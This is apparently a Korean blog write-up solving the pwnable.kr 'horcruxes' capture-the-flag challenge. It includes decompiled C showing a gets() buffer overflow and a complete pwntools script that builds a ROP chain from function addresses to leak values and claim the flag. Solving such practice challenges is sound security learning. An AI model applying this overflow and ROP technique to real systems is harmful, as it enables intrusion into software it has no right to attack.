1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | int ropme() { char s[100]; // [esp+4h] [ebp-74h] int v2; // [esp+68h] [ebp-10h] int fd; // [esp+6Ch] [ebp-Ch] printf("Select Menu:"); __isoc99_scanf("%d", &v2); getchar(); if ( v2 == a ) { A(); } else if ( v2 == b ) { B(); } else if ( v2 == c ) { C(); } else if ( v2 == d ) { D(); } else if ( v2 == e ) { E(); } else if ( v2 == f ) { F(); } else if ( v2 == g ) { G(); } else { printf("How many EXP did you earned? : "); gets(s); if ( atoi(s) == sum ) { fd = open("flag", 0); s[read(fd, s, 0x64u)] = 0; puts(s); close(fd); exit(0); } puts("You'd better get more experience to kill Voldemort"); } return 0; } | cs |
바이너리 파일이 주어지지 않는다.
그래서 아이다로 어떻게 뜯어야하는지 고민해볼 필요가 있다.
SCP명령어를 사용해서 본인서버로 파일을 가져오면 된다.
SCP명령어는 여러 블로그에서 잘 정리해두셨으니 참고하도록 하면 될거같고, 본인 서버로 파일을 가져왔으면 winSCP로 데스크탑으로 파일을 옮기면 끝!
이 과정을 거치고 IDA로 파일을 뜯어보고 프로그램 순서를 정리해보면 다음과 같다.
hint함수에서 ROP를 통해 문제를 풀으라고 말해주고, init_ABCDEFG 함수에서 변수 abcdefg를 랜덤하게 설정해준다.
그리고는 sum에 abcdefg를 모두 더한다.
ABDEFG각각의 함수에서는 값 입력으로 abcdefg를 맞췄을때, 각각의 exp를 하나씩 출력해주고, 모든 exp의 총합인 sum을 두번째 입력에서 입력하면 플래그가 주어진다.
근데 문제가 하나 있는데, 우리는 무슨짓을해도 랜덤으로 할당되는 abcdefg를 구할수가 없다는것이다.
그래서 rop를 이용해서 ABCDEFG함수를 모두 실행시키고 각각의 exp를 구한 후, 이를 모두 더한다.
그리고 입력을 받는 ropme부분을 call하는 주소를 찾아서, ROP체인에 연결시킨다.
그리고 구한 sum값을 두번째 입력에 넘기면 끝!
일단 오버플로우는 ropme함수의 gets함수에서 발생한다. 이를 이용해서 리턴어드레스를 조정해보자.
IDA로 변수s의 크기가 0x74라는것을 알아냈으니, 0x74 + 0x4만큼의 더미를 입력하고, 뒤에 ROP체인을 만든다.
페이로드를 생각해보면...
Dummy + A B C D E F G 각각의 함수의 주소 + recv로 값들을 받아오고... + ROPME함수를 CALL해주는 주소 ( ROPME함수의 주소를 그냥 넣어보았는데 안된다. 그래서 ROPME함수를 CALL해주는 부분의 주소를 넣어야 한다.)
정도가 되겠다.
pwntools로 exploit 코드를 작성해보면...
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | from pwn import * s = ssh("horcruxes","pwnable.kr",port=2222,password="guest") r = s.remote("0",9032) r.recvuntil(":") r.sendline("0") A = p32(0x0809FE4B) B = p32(0x0809FE6A) C = p32(0x0809FE89) D = p32(0x0809FEA8) E = p32(0x0809FEC7) F = p32(0x0809FEE6) G = p32(0x0809FF05) re_input = p32(0x0809FFFC) payload = "" payload += "N"*(0x74 + 0x4) payload += A + B + C + D + E + F + G + re_input r.recvuntil(": ") r.sendline(payload) exp = 0 for i in range(0,7): r.recvuntil('EXP +') exp += int(r.recvuntil(')')[:-1]) print "exp = " + str(exp) r.recvuntil(":") r.sendline("0") r.recvuntil(": ") r.sendline(str(exp)) r.interactive() | cs |
위와 같다. 페이로드가 딱히 어렵지는 않아서 짜면서 머리가 아프지는 않았다.
다만 exp를 int형, str형으로 변환하는것과, 오버플로우할때 ret부분의 주소를 잘못구해서... ㅠㅠ 삽질을 좀 했다.
개인적으로 python의 for문 문법이 아직 너무 어색해서, 좀 더 공부가 필요할듯 하다. 다른블로그를 많이 참고했다.
익스코드를 한번돌려서는 플래그가 안뜨는 경우를 볼수도 있으니, 일단 익스코드를 많이 돌려보자. 나도 플래그가 안뜨길래 왠가 하고 몇번 더돌려보니까 뜨긴 뜨더라.
그리고 이제 pwnable.kr 토들러부분 문제는 힙빼고 다푼것같다.
호우!